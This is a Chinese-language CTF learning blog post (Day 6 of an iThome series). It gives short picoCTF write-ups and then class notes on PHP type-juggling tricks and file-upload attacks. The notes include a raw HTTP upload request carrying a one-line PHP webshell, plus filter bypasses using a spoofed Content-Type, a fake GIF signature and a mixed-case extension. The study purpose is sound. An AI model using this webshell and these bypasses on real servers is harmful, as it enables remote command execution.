IThome 2024 鐵人賽 一直刷 CTF - Day6

前言

本日進度:

Writeup

第一題:Static ain’t always noise

利用 ltdis.sh 分解 static 檔案,就可以從 static.ltdis.strings.txt 中找到 Flag 了

Image Image

第二題:Nice netcat…

nc 過去之後會噴很多數字出來,感覺像是 ASCII 碼,所以就把他轉成文字就是 Flag 了,我寫了個簡單的程式

1
2
3
4
5
6
7
8
9
10
text = ""

while True:
try:
num = int(input())
text += chr(num)
except:
break

print(text)
Image

第三題:Obedient Cat

就載下來印出來就是 Flag 了

第四題:2Warm

把 42 轉成 2 進位,然後用 picoCTF {} 包起來就是 Flag 了

第五題:First Grep

下載檔案後,用 grep 就能找到 Flag 了 Image

第六題:Bases

base64 解碼就能得到 Flag 了

Image

上課紀錄

Language Trick - php

  • 簡單語法 Image

  • Weak type Image 0e 開頭的東西會自動轉型成科學記號 Image Image Image Image 還有其他若型別轉換的範例,如下的真直表 Image

  • Parameter Array Image

  • Lab - phpisnice Image 雖然他 Lab 還是關掉了,但他有給 code ,所以我可以自己玩玩看!去查剛剛那些 MD5 會有問題的字串 然後找到了這個

    StringMD5
    0e2159620170e291242476940776845150308577824

    指定 A=0e215962017 這題應該就能拿到 Flag 了

  • Lab - phpisbest Image 因為他要先過 strcmp($A, $B) == 0 所以先把兩個用成不一樣的陣列,這樣會 null == 0 -> true 就過了,然後 MD5 只要兩個都是陣列就會 null == null -> true,就可以拿到 Flag 了

  • File vs Route Image Image Image

  • Webshell (shell on web) 惡意的 Webshell Image Image

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
      POST /upload.php HTTP/1.1\r\n
    Content-Length: 80172\r\n
    Content-Type: multipart/form-data; boundary=----meow\r\n
    \r\n
    ------owo\r\n
    Content-Disposition: form-data; name="upload"; filename="ouo.txt"\r\n
    Content-Type: text/plain\r\n
    \r\n
    (File Content)
    \r\n
    ------owo--\r\n

    改成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /upload.php HTTP/1.1\r\n
    Content-Length: 80172\r\n
    Content-Type: multipart/form-data; boundary=----meow\r\n
    \r\n
    ------owo\r\n
    Content-Disposition: form-data; name="upload"; filename="webshell.php"\r\n
    Content-Type: text/php\r\n
    \r\n
    <?php system($_GET['cmd']);?>
    \r\n
    ------owo--\r\n

    怎麼抵擋呢?

    1. 錯誤示範 - 用前端擋,可以輕易繞過 Image
    2. 檢查 File Content Type 但是如果把 Request 的 Content-Type 改掉 (例如 image/png) 就可以 bypass 了
    3. 檢查 File signature
      • magic number: 透過檢查檔案的開頭幾個 byte 來判斷檔案類型 Image 但這東西也很容易被偽造,只要在前面加上簽名就可以了 Image 在前面加上 gif87a 後端就會以為上傳的是 gif
    4. 副檔名
      • whitelist
      • blacklist Image 但需要全部都擋掉,不然把副檔名改成 phP 之類的就可能可以繞過
  • Lab - uploader (lab 關掉了) 照抄剛剛可以觸發 Webshell php,然後就能從根目錄取得 Flag 了

  • Lab - uploader-waf (lab 關掉了) 他有改 content-type 和副檔名,所以要把前面的 Content-Type: text/php 改成 Content-Type: image/png,然後把副檔名改成 phP 就可以繞過了,接下來就跟上一題一樣在根目錄取得 Flag

參考資料